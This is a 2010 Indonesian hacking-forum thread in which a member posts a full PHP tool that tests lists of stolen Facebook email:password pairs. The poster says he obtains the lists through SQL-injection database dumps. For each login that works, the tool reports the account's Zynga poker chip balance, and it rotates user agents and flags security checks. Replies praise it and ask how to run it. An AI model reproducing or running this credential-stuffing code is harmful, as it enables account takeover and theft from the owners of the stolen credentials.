Home

About

Milis

Blog Roll

Group Facebook

XCode Magazine

1,2,3,4,5,6,7,8,9,10,11,12,13,14,15

Selamat Datang Di Komunitas Yogyafree

Selamat datang di komunitas XCode - Yogyafree - Yogya Family Code. Disini kita saling berbagi ilmu komputer, baik hacking, security, programming, software engineering dan lain sebagainya. Klik disini untuk register

Panel
Welcome! Anonymous

[PHP] Facebook TeXas Hold'Em Poker Check!

[ Facebook comments]

Tempat pembahasan dan tutorial penggunaan tools untuk hacking, security dan forensik komputer.

Moderators: Paman, Xshadow, indounderground

Forum rules
Tool yang diupload oleh member tidak diperiksa oleh kami, mungkin saja terinfeksi oleh malware secara disengaja ataupun tidak, saran kami sebaiknya mendownload tool tersebut dari sumber pembuatnya. Bagi yang buat thread diharapkan menampilkan screenshot tool.

[PHP] Facebook TeXas Hold'Em Poker Check!

Postby gblack » Mon Jun 07, 2010 1:20 am

This tool is used to check email:password list for zynga poker chips on facebook. Usually i get the emails:passwords list by dumping site database with sql injection. :ngakak:

Image
Code: Select all
<html>
<head><title>-  Facebook Texas HoldEm Poker Check -</title>
<style type="text/css">
body{
   background-color: #000;
   font-family: courier new;
   font-size:11px;
   color:#FFFFFF;
   scrollbar-face-color: #FFFFFF;
   scrollbar-highlight-color: #000000;
   scrollbar-shadow-color: #000000;
   scrollbar-3dlight-color: #FFFFFF;
   scrollbar-arrow-color: #FFFFFF;
   scrollbar-track-color: #FFFFFF;
   scrollbar-darkshadow-color: #FFFFFF;
}
input,textarea{
   font-family: courier new;
   font-size:11px;
   color:#FFFFFF;
   background-color: #999999;
   border:1px solid #000000;
}
</style>
</head>
<body>
<h2><img src="http://photos-e.ak.fbcdn.net/photos-ak-sf2p/v27562/52/2389801228/app_1_2389801228_4018.gif" width="50px"> Facebook Texas HoldEm Poker Check</h2>
<form name="data" method="post">
<textarea name="logins" class="input" cols="50" rows="10"></textarea><br><h4>Copypaste &copy; 2010 by gblack & slay3rz</h4><br>
<input type="submit" value="Check!">
</form>
<?php
error_reporting(0);
set_time_limit(0);
if(isset($_POST['logins'])){
   $logins = trim($_POST['logins']);
   flush(); ob_flush();
   $logins = split("\n", $logins);
   $jum =  count($logins);
   flush(); ob_flush();
   print "<hr><b>Checking ".$jum." Facebook logins now...<br>Please wait...</b><br>";
   flush(); ob_flush();
   for($x = 0; $x < $jum; $x++) {
      $logins = str_replace(" ", "", $logins);
      $logins = str_replace("\r", "", $logins);
      $logins = str_replace("\n", "", $logins);
      list($email, $password) = split(":", $logins[$x]);
      $num = $x + 1;
      print "<br>[".$num."] ".$email.":".$password." - ";
      flush(); ob_flush();
      if(file_exists("fb_cookies.txt")) {
         unlink("fb_cookies.txt");
      }
      $jembut = CekPoker($email, $password);
      print $jembut;
   }
   print "<hr><b>Done!</b>";
   
}
function CekPoker($email,$passw) {
   $uas = array(1 => "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.16) Gecko/2010010414 Firefox/3.0.16 Flock/2.5.6",
            2 => "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10",
            3 => "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.8.1.12) Gecko/20080219 Firefox/2.0.0.12 Navigator/9.0.0.6",
            4 => "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3",
            5 => "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)");
   $ua = rand(1, count($uas));
   $ua = $uas[$ua];
   $ch = curl_init();
   curl_setopt($ch, CURLOPT_URL, "http://www.facebook.com/login.php?api_key=965dc598471b823e0da74090bfe054bc&v=1.0&next=http%3A%2F%2Ffacebook.poker.zynga.com%2Fpoker%2F&canvas=1");
   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
   curl_setopt($ch, CURLOPT_ENCODING, "");
   curl_setopt($ch, CURLOPT_COOKIEJAR, "poker.txt");
   curl_setopt($ch, CURLOPT_USERAGENT, $ua);
   $chEx = curl_exec($ch);
      curl_close($ch);
      $chr = substr($chEx, strpos($chEx, "name=\"charset_test\""));
      $chr = substr($chr, strpos($chr, "value=") + 7);
      $chr = substr($chr, 0, strpos($chr, "\""));
      $api = substr($chEx, strpos($chEx, "name=\"api_key\""));
      $api = substr($api, strpos($api, "value=") + 7);
      $api = substr($api, 0, strpos($api, "\""));
      $loc = substr($chEx, strpos($chEx, "name=\"locale\""));
      $loc = substr($loc, strpos($loc, "value=") + 7);
      $loc = substr($loc, 0, strpos($loc, "\""));
      $lsd = substr($chEx, strpos($chEx, "name=\"lsd\""));
      $lsd = substr($lsd, strpos($lsd, "value=") + 7);
      $lsd = substr($lsd, 0, strpos($lsd, "\""));
      $ch = curl_init();
      curl_setopt($ch, CURLOPT_URL, "http://www.facebook.com/login.php?api_key=965dc598471b823e0da74090bfe054bc&v=1.0&next=http%3A%2F%2Ffacebook.poker.zynga.com%2Fpoker%2F&canvas=1");
      curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
      curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
      curl_setopt($ch, CURLOPT_POST, 1);
      curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
      curl_setopt($ch, CURLOPT_POSTFIELDS, "api_key=".$api."&locale=".$loc."&non_com_login=&email=".$email."&pass=".$passw."&charset_test=".$chr."&lsd=".$lsd);
      curl_setopt($ch, CURLOPT_ENCODING, "");
      curl_setopt($ch, CURLOPT_COOKIEFILE, "poker.txt");
      curl_setopt($ch, CURLOPT_COOKIEJAR, "poker.txt");
      curl_setopt($ch, CURLOPT_USERAGENT, $ua);
      $chEx = curl_exec($ch);
      curl_close($ch);
      
      if(preg_match("/http:\/\/photos-e.ak.fbcdn.net\/photos-ak-sf2p\/v27562\/52\/2389801228\/app_1_2389801228_4018.gif/", $chEx)) {
         print "Not playing Texas Hold'Em Poker!";
      } elseif(preg_match("/Please review recent activity/", $chEx)) {
         print "Security check needed!";
      } elseif(preg_match("/Incorrect Email/", $chEx)) {
         print "Wrong password!";
      } elseif(preg_match("/<html><head><title>Redirecting.../", $chEx)) {
         $token = preg_match("/auth_token=(.*)\"/", $chEx, $tokenz);
         $ch = curl_init();
         curl_setopt($ch, CURLOPT_URL, "http://apps.facebook.com/texas_holdem/?auth_token=".$token);
         curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
         curl_setopt($ch, CURLOPT_ENCODING, "");
         curl_setopt($ch, CURLOPT_COOKIEJAR, "poker.txt");
         curl_setopt($ch, CURLOPT_USERAGENT, $ua);
         $chEx = curl_exec($ch);
         curl_close($ch);
         if(preg_match("/PokerLadder(.*).swf/", $chEx)) {
            if(preg_match("/__current_chips = (.*)\;/i", $chEx, $chips)) {
               $chipz = preg_split("/;/", $chips[1]);
               $chipz = $chipz[0];
               if($chipz > 1000000000) {
                  $chipz = round(($chipz/1000000000),2)." B";
                  number_format($chipz);
               } elseif ($chipz > 1000000) {
                  $chipz = round(($chipz/1000000),2)." M";
                  number_format($chipz);
               } elseif ($chipz > 1000) {
                  $chipz = round(($chipz/1000),2)." K";
                  number_format($chipz);
               } elseif ($chipz < 100) {
                  $chipz = "Forum Yogyafree Keren Yach! Kere iki bocah!";
               } else {
                  $chipz = "Forum Yogyafree Keren Yach! Kere iki bocah!";
               }
               print $chipz;
            } else {
               print "Forum Yogyafree Keren Yach! Error cok!";
            }
         }
      } elseif(preg_match("/Please re-enter your password/", $chEx)) {
         print "Please re-enter your password!";
      } elseif(preg_match("/PokerLadder(.*).swf/", $chEx)) {
         if(preg_match("/__current_chips = (.*)\;/i", $chEx, $chips)) {
            $chipz = preg_split("/;/", $chips[1]);
            $chipz = $chipz[0];
            if($chipz > 1000000000) {
               $chipz = round(($chipz/1000000000),2)." B";
               number_format($chipz);
            } elseif ($chipz > 1000000) {
               $chipz = round(($chipz/1000000),2)." M";
               number_format($chipz);
            } elseif ($chipz > 1000) {
               $chipz = round(($chipz/1000),2)." K";
               number_format($chipz);
            } elseif ($chipz < 100) {
               $chipz = "Forum Yogyafree Keren Yach! Kere iki bocah!";
            } else {
               $chipz = "Forum Yogyafree Keren Yach! Kere iki bocah!";
            }
            print $chipz;
         }
      }  elseif(preg_match("/Your account has a high number of invalid login attempts./", $chEx)) {
         print "Damn, captcha enabled!";
      } elseif (preg_match("/Please answer a few security questions/", $chEx)) {
         print "Please answer a few security questions";
      } else {
         print "Unkn0wn response...";
         //print_r($chEx);
      }
   }
?>

It would be funny as hell if you can get 1 Billion chips with this tool!!! :love: :ngakak:

Enjoy and don't rip this tool and publish this to your blog/site, its gay characteristic anyway, No comment!! :ngakak:

Down doesn't mean die.

I will never die,
gbLaCk-

User avatar
gblack
 
Posts: 61
Joined: Tue Jan 30, 2007 8:12 pm
Location: /r00tb0x

Re: [PHP] Facebook TeXas Hold'Em Poker Check!

Postby Gumux_1107 » Mon Jun 07, 2010 1:27 am

Temen kita yang satu ini emang gagah... salut bro. cuma bisa bilang awesome :D. Hehehehe
________________________________________________________________________________
SYNTAX ERROR
User avatar
Gumux_1107
 
Posts: 102
Joined: Wed Dec 19, 2007 1:41 pm
Location: Infront of My Computer

Re: [PHP] Facebook TeXas Hold'Em Poker Check!

Postby skaykyu » Mon Jun 07, 2010 8:10 am

wew sadiz tutorialnya, aq minta mentahan chipnya aza kalo boleh se :devil
Watch The Master, Follow The Master, Be The Master
User avatar
skaykyu
 
Posts: 73
Joined: Wed Dec 10, 2008 9:54 am
Location: /root/.cpan/admin

Re: [PHP] Facebook TeXas Hold'Em Poker Check!

Postby andryh4ever » Mon Jun 07, 2010 9:58 am

Wah mantap.. Sekarang yg jadi prtanyaanya "bagaimana sh cra main poker? Ga tw aq" :circle:
Let's Join with us on http://www.borneocrew.org/

..::: Hanya Ing!n Menul!$ Apa Yang Ing!n Aku Tul!s :::..

[*] Visit me on http://pl4nkt0n767.blogspot.com [*]
[*] Visit me on http://spyc0dz.blogspot.com [*]
User avatar
andryh4ever
 
Posts: 181
Joined: Tue Dec 15, 2009 3:08 pm
Location: Kendawangan, Kab. Ketapang, Kalimantan Barat

Re: [PHP] Facebook TeXas Hold'Em Poker Check!

Postby vodork » Wed Jun 09, 2010 7:09 pm

nice on :)
croot~ dolo
.::[tresno jalaran saking kulino]::.

.::[nek wes kullino]::.

.::[karepmu]::.
User avatar
vodork
 
Posts: 191
Joined: Wed Jun 10, 2009 1:52 am
Location: jogja/sarkem

Re: [PHP] Facebook TeXas Hold'Em Poker Check!

Postby securesh » Wed Jun 09, 2010 7:26 pm

:pusing: bingung makenya
securesh
 
Posts: 2
Joined: Sat Jan 30, 2010 9:48 am

Re: [PHP] Facebook TeXas Hold'Em Poker Check!

Postby c3p3ru6 » Fri Jun 11, 2010 10:47 am

:circle: binggunk kk make na gmana masih newbie sekali

mohon bimbingan lanjut :maaf: :maaf: :kaca: :kaca:
c3p3ru6
 
Posts: 11
Joined: Fri Jun 04, 2010 10:17 am

Re: [PHP] Facebook TeXas Hold'Em Poker Check!

Postby hanifsh » Fri Jun 11, 2010 11:53 pm

:malumalu: script nya udah di copas ke notepad++

tapi bingung :pusing: gmn cara jalaninnya y??

mohon pencerahannya kk :kaca: :kaca: :kaca:
hanifsh
 
Posts: 8
Joined: Fri Jun 04, 2010 4:02 pm

Re: [PHP] Facebook TeXas Hold'Em Poker Check!

Postby za®biruputih » Sat Jun 12, 2010 1:43 pm

ni gmn cara pake nya boss ?
save .html atw gmn
mklum newbie :circle:
User avatar
za®biruputih
 
Posts: 5
Joined: Mon Jan 25, 2010 5:38 pm

Re: [PHP] Facebook TeXas Hold'Em Poker Check!

Postby dippounix » Sat Jun 12, 2010 1:59 pm

Ane Numpang sedot gan
Menjadi seorang manusia yang berguna bagi OrTu adalah impianku
Visit my NewBie Site http://dippo-unix.co.cc
fb : abay dippo unix
User avatar
dippounix
 
Posts: 66
Joined: Thu May 27, 2010 6:05 pm
Location: Jakarta - Makassar

leave a comment

Next

Return to Tools For Hacking - Security & Computer Forensic

Who is online

Users browsing this forum: No registered users and 7 guests

Web Counter Start : December 14th 2009
Hit Counters

http://www.xcode.or.id